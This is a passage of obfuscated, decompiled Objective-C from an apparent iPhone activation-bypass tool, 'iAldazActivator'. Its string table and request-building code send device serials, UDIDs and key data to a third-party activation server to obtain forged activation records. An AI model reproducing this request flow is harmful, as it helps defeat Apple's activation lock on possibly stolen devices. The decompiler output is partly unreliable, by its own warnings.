v7 = (const void **)(a2 + 48);
v8 = (void *)(a1 + 48);
v5 = -378540979;
goto LABEL_25;
case -1579111051:
_Block_object_assign(v10, *v9, 8);
*v12 = -1169920231;
break;
}
}
if ( v11 == -1169920231 )
{
_Block_object_assign(v10, *v9, 8);
v5 = -348707506;
goto LABEL_25;
}
if ( v11 != -378540979 )
break;
*v12 = 1926333571;
}
}
while ( v11 != -348707506 );
return result;
}
// 1000A4BA6: variable 'v8' is possibly undefined
// 1000A4B9A: variable 'v7' is possibly undefined
// 1000A4C09: variable 'v10' is possibly undefined
// 1000A4BFD: variable 'v9' is possibly undefined
//----- (00000001000A4EAA) ----------------------------------------------------
__int64 __fastcall __destroy_helper_block_e8_32s40r48r56r(__int64 a1)
{
__int64 result; // rax
char v2; // cf
int v3; // eax
int v4; // ecx
id v5; // [rsp+0h] [rbp-40h]
int v6; // [rsp+Ch] [rbp-34h] BYREF
int *v7; // [rsp+10h] [rbp-30h]
_Block_object_dispose(*(const void **)(a1 + 56), 8);
_Block_object_dispose(*(const void **)(a1 + 48), 8);
HikariFunctionWrapper_1534(*(const void **)(a1 + 40), 8);
v5 = *(id *)(a1 + 32);
v6 = 1248111678;
v7 = &v6;
do
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v6;
if ( v6 <= -43590332 )
break;
if ( v6 > 1248111677 )
{
if ( v6 == 1630716259 )
{
*v7 = 716828767;
}
else if ( v6 == 1248111678 )
{
v3 = -1504610380;
goto LABEL_19;
}
}
else if ( v6 == -43590331 )
{
objc_release(v5);
*v7 = -1504610380;
}
else if ( v6 == 716828767 )
{
v2 = 1;
v3 = -1973842044;
v4 = 1630716259;
goto LABEL_11;
}
}
if ( v6 <= -1303864648 )
break;
if ( v6 == -1303864647 )
{
*v7 = -149488380;
}
else if ( v6 == -149488380 )
{
v2 = 0;
v3 = 1630716259;
v4 = 716828767;
LABEL_11:
if ( !v2 )
v3 = v4;
LABEL_19:
*v7 = v3;
}
}
if ( v6 == -1504610380 )
{
objc_release(v5);
v3 = -1303864647;
goto LABEL_19;
}
}
while ( v6 != -1973842044 );
return result;
}
// 1000A5087: conditional instruction was optimized away because r12d.4==3E23C4D8
//----- (00000001000A50E4) ----------------------------------------------------
// bad sp value at call has been detected, the output may be wrong!
id __cdecl -[NSObject factoryRequestDev:device:](NSObject *self, SEL a2, id a3, _AMDevice *a4)
{
id v4; // rbx
_QWORD *v5; // r14
id *v6; // r14
NSData *v7; // rax
_QWORD *v8; // r13
_QWORD *v9; // r15
id v10; // r14
NSDictionary *v11; // rax
id v12; // r14
id v13; // r13
_QWORD *v14; // r12
_QWORD *v15; // rcx
NSDictionary *v16; // rax
id v17; // rax
NSString *v18; // rax
__CFString *v19; // r15
__CFString *v20; // r12
NSString *v21; // rax
__CFString *v22; // r15
__CFString *v23; // r14
id v24; // rax
id v25; // rax
id v26; // rax
id v27; // rbx
NSTimeZone *v28; // rax
NSTimeZone *v29; // r15
NSDate *v30; // rax
NSDate *v31; // r15
id v32; // rax
id v33; // rbx
id v34; // rax
id v35; // r14
id v36; // r15
CC_LONG v37; // eax
unsigned __int8 *v38; // rbx
int v39; // r12d
int v40; // r9d
int v41; // r10d
int v42; // r11d
unsigned int v43; // r8d
int v44; // r13d
int v45; // edi
int v46; // esi
int v47; // edx
int v48; // ecx
id v49; // rax
id v50; // rax
id v51; // rax
id v52; // r12
id v53; // rax
id v54; // rax
NSString *v55; // rax
__CFString *v56; // r15
__CFString *v57; // rdx
NSString *v58; // rax
NSString *v59; // r15
id v60; // rax
id v61; // r15
id v62; // rax
NSString *v63; // rax
__CFString *v64; // rbx
__CFString *v65; // r13
id v66; // rax
__CFString *v67; // rbx
__CFString *v68; // r14
id v69; // rax
id v70; // rax
id v71; // rax
id v72; // rax
id v73; // rbx
NSTimeZone *v74; // rax
NSTimeZone *v75; // r15
NSDate *v76; // rax
NSDate *v77; // r15
id v78; // rax
id v79; // rbx
id v80; // rax
id v81; // r14
id v82; // r15
CC_LONG v83; // eax
unsigned __int8 *v84; // rbx
int v85; // r9d
int v86; // r8d
unsigned int v87; // r10d
unsigned int v88; // r11d
int v89; // r12d
int v90; // r13d
int v91; // edi
int v92; // esi
int v93; // edx
int v94; // ecx
NSString *v95; // rax
id v96; // rax
id v97; // rax
id v98; // rbx
NSString *v99; // rax
__CFString *v100; // r15
__CFString *v101; // rdx
id v102; // rax
id v103; // rax
NSString *v104; // rax
NSString *v105; // rax
id v106; // rax
id v107; // r15
void **v108; // rbx
NSData *v109; // rax
NSData *v110; // r14
void *v111; // rbx
id v112; // rax
id v113; // r15
id v114; // rax
id v115; // r13
NSURL *v116; // rax
NSURL *v117; // rbx
id v118; // rax
id v119; // r14
id *v120; // rax
_QWORD *v121; // r14
id v122; // r12
NSString *v123; // rax
NSString *v124; // rbx
id v125; // rax
id v126; // rbx
id v127; // r13
id v128; // rax
id v129; // rbx
unsigned __int8 *v130; // rax
_QWORD *v131; // r11
id *v132; // r8
_QWORD *v133; // r13
_QWORD *v134; // r14
_QWORD *v135; // r15
id v136; // r14
id v137; // r13
id v138; // r15
NSDictionary *v139; // rax
void *v140; // r15
NSURLSession *v141; // rax
id *v142; // rbx
void *v143; // r14
unsigned __int8 *v144; // r13
id v145; // rax
id v146; // rax
id *v147; // r15
void *v148; // r14
const char *v149; // rsi
__int64 v150; // rdx
_QWORD *v151; // rbx
_QWORD *v152; // r14
_QWORD *v153; // r13
id v154; // rax
void *v155; // rdi
id *v156; // r9
id *v157; // r10
id v158; // r8
_QWORD *v159; // r9
id *v160; // rcx
id v161; // rax
__CFString *v162; // rbx
__CFString *v163; // rcx
NSDictionary *v164; // rax
void *v165; // r14
id *v166; // rbx
id *v167; // r15
id v168; // r13
NSDictionary *v169; // rax
__CFString *v170; // rsi
NSDictionary *v171; // rax
id v172; // r12
_BYTE v174[16]; // [rsp+60h] [rbp-150h] BYREF
id *v175; // [rsp+70h] [rbp-140h]
id *v176; // [rsp+78h] [rbp-138h]
id *v177; // [rsp+80h] [rbp-130h]
id *v178; // [rsp+88h] [rbp-128h]
id *v179; // [rsp+90h] [rbp-120h]
id v180; // [rsp+98h] [rbp-118h]
id v181; // [rsp+A0h] [rbp-110h]
id v182; // [rsp+A8h] [rbp-108h]
id v183; // [rsp+B0h] [rbp-100h]
id *v184; // [rsp+B8h] [rbp-F8h]
id v185; // [rsp+C0h] [rbp-F0h]
void *v186; // [rsp+C8h] [rbp-E8h]
id *v187; // [rsp+D0h] [rbp-E0h]
id v188; // [rsp+D8h] [rbp-D8h]
id v189; // [rsp+E0h] [rbp-D0h]
id v190; // [rsp+E8h] [rbp-C8h]
id v191; // [rsp+F0h] [rbp-C0h]
id v192; // [rsp+F8h] [rbp-B8h]
id v193; // [rsp+100h] [rbp-B0h]
void *p_md; // [rsp+108h] [rbp-A8h]
id v195; // [rsp+110h] [rbp-A0h]
id v196; // [rsp+118h] [rbp-98h]
id v197; // [rsp+120h] [rbp-90h]
id v198; // [rsp+128h] [rbp-88h]
id v199; // [rsp+130h] [rbp-80h]
id v200; // [rsp+138h] [rbp-78h]
void *v201; // [rsp+140h] [rbp-70h]
id v202; // [rsp+148h] [rbp-68h] BYREF
id v203; // [rsp+150h] [rbp-60h]
unsigned __int8 *md; // [rsp+158h] [rbp-58h] BYREF
id v205; // [rsp+160h] [rbp-50h]
id v206; // [rsp+168h] [rbp-48h] BYREF
id v207; // [rsp+170h] [rbp-40h]
id v208[7]; // [rsp+178h] [rbp-38h] BYREF
v208[1] = (id)-1LL;
v198 = self;
v191 = a3;
if ( !dword_10029F494 )
{
strcpy(asc_100273E40, "ActivationRecord");
strcpy(asc_100274C40, "\n\n[DEV] --- INCOMING RESPONSE ---");
strcpy(asc_1002749C0, "ialdazActivator3.2.0");
strcpy(a9_1, "[DEV] Failed to build request body: %@");
strcpy(asc_100273EB0, "https://itunes.ialdaz-activator.com/API/AldazDevA12/legacyActivation.php");
strcpy(asc_100274AF0, "BODY (Encrypted): %@");
strcpy(asc_100273C3C, "ProductVersion");
strcpy(asc_100273D10, "%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X");
asc_100273CAD[0] = 37;
asc_100273CAD[1] = 64;
asc_100273CAD[2] = 45;
asc_100273CAD[3] = 37;
asc_100273CAD[4] = 64;
asc_100273CAD[5] = 45;
asc_100273CAD[6] = 37;
asc_100273CAD[7] = 64;
asc_100273CAD[8] = 0;
strcpy(a5sq, "\n\n[DEV] --- OUTGOING REQUEST ---");
asc_100273D71[0] = 85;
asc_100273D71[1] = 84;
asc_100273D71[2] = 67;
asc_100273D71[3] = 0;
aN_16[0] = 85;
aN_16[1] = 82;
aN_16[2] = 76;
aN_16[3] = 58;
aN_16[4] = 32;
aN_16[5] = 37;
aN_16[6] = 64;
aN_16[7] = 0;
strcpy(asc_100274A01, "HEADERS: %@");
strcpy(asc_100274930, "Error: %@");
asc_100273DD2[0] = 100;
asc_100273DD2[1] = 101;
asc_100273DD2[2] = 118;
asc_100273DD2[3] = 105;
asc_100273DD2[4] = 99;
asc_100273DD2[5] = 101;
asc_100273DD2[6] = 0;
asc_100273A91[0] = 37;
asc_100273A91[1] = 108;
asc_100273A91[2] = 117;
asc_100273A91[3] = 0;
strcpy(a7ZY, "Failed to serialize activation info");
strcpy(aU_5, "User-Agent");
aL3[0] = 97;
aL3[1] = 108;
aL3[2] = 100;
aL3[3] = 97;
aL3[4] = 122;
aL3[5] = 100;
aL3[6] = 101;
aL3[7] = 118;
aL3[8] = 0;
strcpy(asc_100273BD8, "UniqueChipID");
strcpy(asc_100273F47, "yyyyMMddHHmmss");
strcpy(aVv, "statusCode");
strcpy(aQy, "[DEV] Failed to serialize activation info: %@");
strcpy(asc_100273C06, "Content-Type");
strcpy(asc_100273F20, "Invalid activation info");
strcpy(aZ_6, "StatusCode: %ld");
aB_3[0] = 80;
aB_3[1] = 79;
aB_3[2] = 83;
aB_3[3] = 84;
aB_3[4] = 0;
strcpy(asc_100273BEF, "X-APP-MID");
aJ_6[0] = 102;
aJ_6[1] = 97;
aJ_6[2] = 105;
aJ_6[3] = 108;
aJ_6[4] = 101;
aJ_6[5] = 100;
aJ_6[6] = 0;
strcpy(asc_100273D61, "ProductType");
asc_100273F5E[0] = 118;
asc_100273F5E[1] = 101;
asc_100273F5E[2] = 114;
asc_100273F5E[3] = 115;
asc_100273F5E[4] = 105;
asc_100273F5E[5] = 111;
asc_100273F5E[6] = 110;
asc_100273F5E[7] = 0;
aC_8[0] = 99;
aC_8[1] = 111;
aC_8[2] = 109;
aC_8[3] = 109;
aC_8[4] = 97;
aC_8[5] = 110;
aC_8[6] = 100;
aC_8[7] = 0;
strcpy(asc_100274980, "BODY (Raw Data): %@");
strcpy(asc_100273AE0, "compatibilityData");
strcpy(aW_5, "SerialNumber");
strcpy(asc_100273A7E, "Content-Length");
aUO[0] = 91;
aUO[1] = 68;
aUO[2] = 69;
aUO[3] = 86;
aUO[4] = 93;
aUO[5] = 32;
aUO[6] = 97;
aUO[7] = 99;
aUO[8] = 116;
aUO[9] = 105;
aUO[10] = 118;
aUO[11] = 97;
aUO[12] = 116;
aUO[13] = 105;
aUO[14] = 111;
aUO[15] = 110;
aUO[16] = 73;
aUO[17] = 110;
aUO[18] = 102;
aUO[19] = 111;
aUO[20] = 68;
aUO[21] = 105;
aUO[22] = 99;
aUO[23] = 116;
aUO[24] = 32;
aUO[25] = 105;
aUO[26] = 110;
aUO[27] = 118;
aUO[28] = 225;
aUO[29] = 108;
aUO[30] = 105;
aUO[31] = 100;
aUO[32] = 111;
aUO[33] = 0;
asc_100273D8F[0] = 115;
asc_100273D8F[1] = 117;
asc_100273D8F[2] = 99;
asc_100273D8F[3] = 99;
asc_100273D8F[4] = 101;
asc_100273D8F[5] = 115;
asc_100273D8F[6] = 115;
asc_100273D8F[7] = 0;
strcpy(asc_100273AA5, "application/xml");
strcpy(asc_100273B60, "Failed to build request body");
strcpy(asc_100273DBC, "signActRequest");
strcpy(asc_1002739AF, "Empty response");
asc_100274953[0] = 66;
asc_100274953[1] = 111;
asc_100274953[2] = 100;
asc_100274953[3] = 121;
asc_100274953[4] = 58;
asc_100274953[5] = 32;
asc_100274953[6] = 37;
asc_100274953[7] = 64;
asc_100274953[8] = 0;
strcpy(a3_2, "[DEV] ---- factoryRequestDev START ----");
strcpy(asc_100273E00, "No response data");
strcpy(asc_100273BBC, "UniqueDeviceID");
strcpy(asc_100273A5F, "iAldazActivator");
strcpy(asc_100273A00, "AldazActivator/2.0 (Platform; OS) MobileDevice/5.0");
strcpy(asc_100273B8D, "X-Status-Device");
strcpy(asc_100274900, "[DEV] ---- factoryRequestDev END ----");
strcpy(aS_5, "X-App-Version");
}
dword_10029F494 = 1;
v208[0] = v174;
v207 = v174;
v195 = v174;
v206 = v208;
v202 = v208;
md = (unsigned __int8 *)&v206;
v187 = v208;
v203 = v208;
v205 = v208;
v201 = &v206;
p_md = &md;
do
{
LODWORD(v190) = -1344541443;
v186 = &md;
v184 = &v202;
v197 = v208;
objc_retain(v191);
NSLog(
CFSTR("3\x91\xDE\x7F\x88\x8E6\xE7\x6C\xEE\xC1\x50\x81\x95\x1E\xA7\xB7\xE3\x39\xC2\x9C,\xD7\xD8\x0F\xE8\xEA\x0A\xC3\x45B\xB1\xF2\x65\xD8\x96\xB4\xEE\x09\x62"),
v208);
}
while ( (unsigned int)v190 > 0xD0C70BA7 );
v179 = v208;
v178 = v208;
v177 = v208;
v176 = v208;
v175 = v208;
v4 = v191;
v5 = v195;
if ( v191
&& (+[NSDictionary class](&OBJC_CLASS___NSDictionary, "class"),
(unsigned __int8)HikariFunctionWrapper_1536(v4, "isKindOfClass:")) )
{
v6 = (id *)v208[0];
*(_QWORD *)v208[0] = 0;
v7 = +[NSPropertyListSerialization dataWithPropertyList:format:options:error:](
&OBJC_CLASS___NSPropertyListSerialization,
"dataWithPropertyList:format:options:error:",
v4,
100,
0,
v6);
v190 = objc_retainAutoreleasedReturnValue(v7);
v13 = *v6;
objc_retain(*v6);
v14 = v202;
if ( v190 != 0 && v13 == 0 )
{
while ( 1 )
{
LODWORD(v199) = 2054705883;
v17 = objc_msgSend(v190, "base64EncodedStringWithOptions:", 0);
v196 = objc_retainAutoreleasedReturnValue(v17);
v18 = +[iOSDevice SerialNumber](&OBJC_CLASS___iOSDevice, "SerialNumber");
v19 = objc_retainAutoreleasedReturnValue(v18);
v20 = v19;
if ( !v19 )
v20 = &stru_10025B688;
v195 = v20;
objc_retain(v20);
objc_release(v19);
v21 = +[iOSDevice UDID](&OBJC_CLASS___iOSDevice, "UDID");
v22 = objc_retainAutoreleasedReturnValue(v21);
v23 = v22;
if ( !v22 )
v23 = &stru_10025B688;
v207 = v23;
objc_retain(v23);
objc_release(v22);
v24 = HikariFunctionWrapper_1540(&OBJC_CLASS___NSString, "stringWithFormat:");
v180 = objc_retainAutoreleasedReturnValue(v24);
v25 = objc_msgSend(v198, "hasher:", v180);
v206 = objc_retainAutoreleasedReturnValue(v25);
v26 = HikariFunctionWrapper_1542((objc_class *)&OBJC_CLASS___NSDateFormatter);
v27 = HikariFunctionWrapper_1544(v26, "init");
v28 = +[NSTimeZone timeZoneWithAbbreviation:](
&OBJC_CLASS___NSTimeZone,
"timeZoneWithAbbreviation:",
CFSTR("\xCF\xE0\xB9\b"));
v29 = objc_retainAutoreleasedReturnValue(v28);
objc_msgSend(v27, "setTimeZone:", v29);
objc_release(v29);
objc_msgSend(v27, "setDateFormat:", CFSTR("\a\xC7\xDC=\xE7\x36\x50!6\x066\xB1\x8A"));
v30 = +[NSDate date](&OBJC_CLASS___NSDate, "date");
v31 = objc_retainAutoreleasedReturnValue(v30);
v181 = v27;
v32 = HikariFunctionWrapper_1546(v27, "stringFromDate:");
v33 = objc_retainAutoreleasedReturnValue(v32);
objc_release(v31);
v182 = v33;
v34 = objc_msgSend(v33, "dataUsingEncoding:", 4);
v35 = objc_retainAutoreleasedReturnValue(v34);
objc_retainAutorelease(v35);
v36 = objc_msgSend(v35, "bytes");
v37 = (__int64)objc_msgSend(v35, "length");
v38 = md;
CC_SHA1(v36, v37, md);
v200 = &OBJC_CLASS___NSString;
LODWORD(v202) = *v38;
LODWORD(v208[0]) = v38[1];
LODWORD(v192) = v38[2];
LODWORD(v193) = v38[3];
v39 = v38[4];
v40 = v38[5];
v41 = v38[6];
v42 = v38[7];
LODWORD(v36) = v38[8];
v43 = v38[9];
v44 = v38[10];
v45 = v38[11];
v46 = v38[12];
v47 = v38[13];
v48 = v38[14];
LODWORD(v208[0]) = v38[15];
LODWORD(v207) = v48;
LODWORD(v206) = v47;
LODWORD(v205) = v46;
LODWORD(md) = v45;
LODWORD(v203) = v44;
LODWORD(v202) = v43;
LODWORD(v201) = (_DWORD)v36;
LODWORD(v200) = v42;
LODWORD(v199) = v41;
LODWORD(v198) = v40;
LODWORD(v197) = v39;
LODWORD(v196) = (_DWORD)v193;
v49 = objc_msgSend(
v200,
"stringWithFormat:",
CFSTR("\x19㗺\xE2\xE5\xC6\x97\x82\x05O\xFF\xA5\xAF\xE0\x8D\x4D\xAB2z\xEC\xF6\x7D\xA3\x81[\x94\x9E\xF8\xE6\xED\xB70hs<\xDA\x5E0\x83\xF5\xC2\x30\xA7R'\x9F\x9E\xEF\x2B\xE4e\x80X\xFBy\xF1\xD3\xEF\x8F6\xC5\x7EJ\xEB\xB8\x13\xB4+"),
v43,
LODWORD(v208[0]),
(unsigned int)v192,
v196,
v197,
v198,
v199,
v200,
v201,
v202,
v203,
md,
v205,
v206,
v207,
v208[0]);
v202 = objc_retainAutoreleasedReturnValue(v49);
v192 = v35;
v50 = objc_msgSend(v35, "base64EncodedStringWithOptions:", 0);
v208[0] = objc_retainAutoreleasedReturnValue(v50);
v51 = +[NSMutableDictionary dictionary](&OBJC_CLASS___NSMutableDictionary, "dictionary");
v52 = objc_retainAutoreleasedReturnValue(v51);
v53 = HikariFunctionWrapper_1548(&OBJC_CLASS___iOSDevice, "ProductType");
v54 = objc_retainAutoreleasedReturnValue(v53);
HikariFunctionWrapper_1550(v52, "setObject:forKeyedSubscript:");
objc_release(v54);
v55 = +[iOSDevice iOSVersion](&OBJC_CLASS___iOSDevice, "iOSVersion");
v56 = objc_retainAutoreleasedReturnValue(v55);
v57 = v56;
if ( !v56 )
v57 = &stru_10025B688;
objc_msgSend(v52, "setObject:forKeyedSubscript:", v57, CFSTR("\xA7\xEF\xFD\x3Es\xB3\nP\xA0֙\x0E\x96\x89"));
objc_release(v56);
objc_msgSend(v52, "setObject:forKeyedSubscript:", v195, CFSTR("W\xF5\xAD\x25\x30\x84\xA4;\xBEaupS"));
v58 = +[iOSDevice UniqueKeyAuth](&OBJC_CLASS___iOSDevice, "UniqueKeyAuth");
v59 = objc_retainAutoreleasedReturnValue(v58);
HikariFunctionWrapper_1552(v52, "setObject:forKeyedSubscript:");
objc_release(v59);
objc_msgSend(
v52,
"setObject:forKeyedSubscript:",
v207,
CFSTR(">\xF5\xFB\x4D\xE7\x99\xB3\xAA\xCF\x3Bo8\xC6\xEC\x89"));
objc_msgSend(v52, "setObject:forKeyedSubscript:", v206, CFSTR("\x84\xB2\v\xC0\x56\xAC "));
objc_msgSend(v52, "setObject:forKeyedSubscript:", v202, CFSTR("C\xE3\x1E\xD3\xF9\xEE\xEC\x31"));
objc_msgSend(
v52,
"setObject:forKeyedSubscript:",
v208[0],
CFSTR("\xA6\xF1\x06\x74\x02Z\xB5\xEF\x79\x82\x93\xF5\xF6\x50\x56"));
HikariFunctionWrapper_1554(v52, "setObject:forKeyedSubscript:");
v60 = objc_alloc((Class)&OBJC_CLASS___NSData);
v61 = objc_msgSend(v60, "initWithBase64EncodedString:options:", v196, 0);
objc_msgSend(
v52,
"setObject:forKeyedSubscript:",
v61,
CFSTR("\x85\x85\xF0\x29\x49\x80\a\xB5\xA3\xA3\xF0\xAD\x69\xA0 \xB5׃"));
objc_release(v61);
if ( (unsigned int)v199 <= 0x9A13B541 )
break;
v62 = objc_msgSend(v190, "base64EncodedStringWithOptions:", 0);
v206 = objc_retainAutoreleasedReturnValue(v62);
v63 = +[iOSDevice SerialNumber](&OBJC_CLASS___iOSDevice, "SerialNumber");
v64 = objc_retainAutoreleasedReturnValue(v63);
v65 = v64;
if ( !v64 )
v65 = &stru_10025B688;
v202 = v65;
objc_retain(v65);
objc_release(v64);
v66 = HikariFunctionWrapper_1574(&OBJC_CLASS___iOSDevice, "UDID");
v67 = (__CFString *)objc_retainAutoreleasedReturnValue(v66);
v68 = v67;
if ( !v67 )
v68 = &stru_10025B688;
v207 = v68;
objc_retain(v68);
objc_release(v67);
v69 = HikariFunctionWrapper_1576(&OBJC_CLASS___NSString, "stringWithFormat:");
v70 = objc_retainAutoreleasedReturnValue(v69);
v71 = objc_msgSend(v198, "hasher:", v70);
v195 = objc_retainAutoreleasedReturnValue(v71);
v72 = objc_alloc((Class)&OBJC_CLASS___NSDateFormatter);
v73 = objc_msgSend(v72, "init");
v74 = +[NSTimeZone timeZoneWithAbbreviation:](
&OBJC_CLASS___NSTimeZone,
"timeZoneWithAbbreviation:",
CFSTR("\xCF\xE0\xB9\b"));
v75 = objc_retainAutoreleasedReturnValue(v74);
objc_msgSend(v73, "setTimeZone:", v75);
objc_release(v75);
objc_msgSend(v73, "setDateFormat:", CFSTR("\a\xC7\xDC=\xE7\x36\x50!6\x066\xB1\x8A"));
v76 = +[NSDate date](&OBJC_CLASS___NSDate, "date");
v77 = objc_retainAutoreleasedReturnValue(v76);
v78 = objc_msgSend(v73, "stringFromDate:", v77);
v79 = objc_retainAutoreleasedReturnValue(v78);
objc_release(v77);
v80 = objc_msgSend(v79, "dataUsingEncoding:", 4);
v81 = objc_retainAutoreleasedReturnValue(v80);
objc_retainAutorelease(v81);
v82 = objc_msgSend(v81, "bytes");
v83 = (unsigned int)objc_msgSend(v81, "length");
v84 = md;
HikariFunctionWrapper_1578(v82, v83, md);
v192 = &OBJC_CLASS___NSString;
LODWORD(v208[0]) = *v84;
LODWORD(v196) = v84[1];
LODWORD(v199) = v84[2];
LODWORD(v200) = v84[3];
v85 = v84[4];
v86 = v84[5];
v87 = v84[6];
v88 = v84[7];
LODWORD(v82) = v84[8];
v89 = v84[9];
v90 = v84[10];
v91 = v84[11];
v92 = v84[12];
v93 = v84[13];
v94 = v84[14];
LODWORD(v208[0]) = v84[15];
LODWORD(v207) = v94;
LODWORD(v206) = v93;
LODWORD(v205) = v92;
LODWORD(md) = v91;
LODWORD(v203) = v90;
LODWORD(v202) = v89;
LODWORD(v201) = (_DWORD)v82;
LODWORD(v200) = v88;
LODWORD(v199) = v87;
LODWORD(v198) = v86;
LODWORD(v197) = v85;
LODWORD(v196) = v88;
v95 = +[NSString stringWithFormat:](
&OBJC_CLASS___NSString,
"stringWithFormat:",
CFSTR("\x19㗺\xE2\xE5\xC6\x97\x82\x05O\xFF\xA5\xAF\xE0\x8D\x4D\xAB2z\xEC\xF6\x7D\xA3\x81[\x94\x9E\xF8\xE6\xED\xB70hs<\xDA\x5E0\x83\xF5\xC2\x30\xA7R'\x9F\x9E\xEF\x2B\xE4e\x80X\xFBy\xF1\xD3\xEF\x8F6\xC5\x7EJ\xEB\xB8\x13\xB4+"),
LODWORD(v208[0]),
v88,
v87,
v196,
v197,
v198,
v199,
v200,
v201,
v202,
v203,
md,
v205,
v206,
v207,
v208[0]);
v196 = objc_retainAutoreleasedReturnValue(v95);
v96 = HikariFunctionWrapper_1580(v81, "base64EncodedStringWithOptions:");
v208[0] = objc_retainAutoreleasedReturnValue(v96);
v97 = HikariFunctionWrapper_1582(&OBJC_CLASS___NSMutableDictionary, "dictionary");
v98 = objc_retainAutoreleasedReturnValue(v97);
v99 = +[iOSDevice ProductType](&OBJC_CLASS___iOSDevice, "ProductType");
v100 = objc_retainAutoreleasedReturnValue(v99);
v101 = v100;
if ( !v100 )
v101 = &stru_10025B688;
objc_msgSend(v98, "setObject:forKeyedSubscript:", v101, CFSTR("\xF1\xA5\x53\x0D\xE0\x9C\x3E\x1Fq\x854\xB3"));
objc_release(v100);
v102 = HikariFunctionWrapper_1584(&OBJC_CLASS___iOSDevice, "iOSVersion");
v103 = objc_retainAutoreleasedReturnValue(v102);
HikariFunctionWrapper_1586(v98, "setObject:forKeyedSubscript:");
objc_release(v103);
HikariFunctionWrapper_1588(v98, "setObject:forKeyedSubscript:");
v104 = +[iOSDevice UniqueKeyAuth](&OBJC_CLASS___iOSDevice, "UniqueKeyAuth");
v105 = objc_retainAutoreleasedReturnValue(v104);
HikariFunctionWrapper_1590(v98, "setObject:forKeyedSubscript:");
objc_release(v105);
objc_msgSend(
v98,
"setObject:forKeyedSubscript:",
v207,
CFSTR(">\xF5\xFB\x4D\xE7\x99\xB3\xAA\xCF\x3Bo8\xC6\xEC\x89"));
HikariFunctionWrapper_1592(v98, "setObject:forKeyedSubscript:");
objc_msgSend(v98, "setObject:forKeyedSubscript:", v196, CFSTR("C\xE3\x1E\xD3\xF9\xEE\xEC\x31"));
objc_msgSend(
v98,
"setObject:forKeyedSubscript:",
v208[0],
CFSTR("\xA6\xF1\x06\x74\x02Z\xB5\xEF\x79\x82\x93\xF5\xF6\x50\x56"));
HikariFunctionWrapper_1594(v98, "setObject:forKeyedSubscript:");
v106 = objc_alloc((Class)&OBJC_CLASS___NSData);
v107 = HikariFunctionWrapper_1596(v106, "initWithBase64EncodedString:options:");
objc_msgSend(
v98,
"setObject:forKeyedSubscript:",
v107,
CFSTR("\x85\x85\xF0\x29\x49\x80\a\xB5\xA3\xA3\xF0\xAD\x69\xA0 \xB5׃"));
objc_release(v107);
}
v189 = &stru_10025B688;
v108 = v187;
*v187 = 0;
v109 = +[NSPropertyListSerialization dataWithPropertyList:format:options:error:](
&OBJC_CLASS___NSPropertyListSerialization,
"dataWithPropertyList:format:options:error:",
v52,
100,
0,
v108);
v110 = objc_retainAutoreleasedReturnValue(v109);
v111 = *v108;
objc_retain(v111);
v188 = v111;
v185 = v110;
v183 = v52;
if ( v110 != 0 && v111 == 0 )
{
do
{
LODWORD(md) = -519807218;
v112 = encryptMyData(v185);
v113 = objc_retainAutoreleasedReturnValue(v112);
v114 = objc_msgSend(v113, "dataUsingEncoding:", 4);
v115 = objc_retainAutoreleasedReturnValue(v114);
v116 = +[NSURL URLWithString:](
&OBJC_CLASS___NSURL,
"URLWithString:",
CFSTR("\xE6\xEC\x1B_\xD2\x53\xF6\xFC\xED\x80.X)n%3\x10\xB76\xBEk/J\xE8\x32\xEF\xDF\xC6\xB0&\xF2\x17\xEE\x4D\xFC˸\xA5\xC2\xF2r\x80\xD1\x2E\x8ELs\x84\xE1\xD49\xBF+\x17t\xF4\x8C\x66\xDD\xE8\xCD\x06\xCC\xD2EҰ\x98\xE1\xCE\x54\x15"));
v117 = objc_retainAutoreleasedReturnValue(v116);
v118 = HikariFunctionWrapper_1556(&OBJC_CLASS___NSMutableURLRequest, "requestWithURL:");
v119 = objc_retainAutoreleasedReturnValue(v118);
HikariFunctionWrapper_1558(v119, "setHTTPMethod:");
objc_msgSend(
v119,
"setValue:forHTTPHeaderField:",
CFSTR("\xA5\x81\xBD\x86\xCA\xCAXo\xF8y\xB2j\x1D\xED\xF3\x72"),
CFSTR("\x8D9\x1A}5~%5\xEF\xE8\x21\nT"));
v120 = (id *)HikariFunctionWrapper_1560(v115, "length");
}
while ( (unsigned int)md < 0x1C8E49F2 );
v205 = v119;
v193 = v117;
v200 = v115;
v199 = v113;
v187 = v120;
v121 = p_md;
v122 = v205;
v123 = +[NSString stringWithFormat:](&OBJC_CLASS___NSString, "stringWithFormat:", CFSTR("\xD6\x43"), v120);
v124 = objc_retainAutoreleasedReturnValue(v123);
objc_msgSend(v122, "setValue:forHTTPHeaderField:", v124, CFSTR("\xEA\x7A\xD0\xA79gѠ\xFB\xC6\xCC\x90\xB4]\xAA"));
objc_release(v124);
HikariFunctionWrapper_1562(v122, "setValue:forHTTPHeaderField:");
v125 = objc_msgSend(v198, "getMachineID");
v126 = objc_retainAutoreleasedReturnValue(v125);
objc_msgSend(v122, "setValue:forHTTPHeaderField:", v126, CFSTR("\x91IHS\x9B\xC6\xE4F\xB3\x1D"));
objc_release(v126);
objc_msgSend(
v122,
"setValue:forHTTPHeaderField:",
CFSTR("\x10\x87\x0El\xCB\x09\x87\xC0\x21B\xFBŬd\ay"),
CFSTR("s\x18\x90\xEF\xA7\x23Y\xE7\x6B\x03gV\xFA\xBC"));
HikariFunctionWrapper_1564(v122, "setValue:forHTTPHeaderField:");
v127 = v200;
objc_msgSend(v122, "setHTTPBody:", v200);
NSLog(CFSTR("5sQ\x8A\xE4\xAA\x02f\xC4\xF4)\xA7\xD4\x29+\xB5\xD9\xEA;\x01\xE0\x33\x8DX\xBAsM0\x9C\x18<\xA8"));
NSLog(CFSTR("N\xE7\xB5\xEE\xD0\xCBt"), v193);
v128 = HikariFunctionWrapper_1566(v122, "allHTTPHeaderFields");
v129 = objc_retainAutoreleasedReturnValue(v128);
NSLog(CFSTR("\x8E\xCA\xDEW)\xE2\x3B\x75(>7?"), v129);
objc_release(v129);
NSLog(CFSTR("\xA6\x12\x9C&\xAD\xF3\x94\xE0\x9C\f\x025\xEC\x37\x19F\xA9VIǻ"), v199);
NSLog(CFSTR("\xA1H\xA1\xEF\xEE\x88DZ\x10\xEF\x10\x73\xED\x10\x8E\xDC\xD03l"), v127);
v130 = (unsigned __int8 *)dispatch_semaphore_create(0);
v131 = v201;
v132 = v187;
*v121 = 0;
v121[1] = v121;
v121[2] = 0x3032000000LL;
v121[3] = __Block_byref_object_copy__0;
v121[4] = __Block_byref_object_dispose__0;
v121[5] = 0;
*v131 = 0;
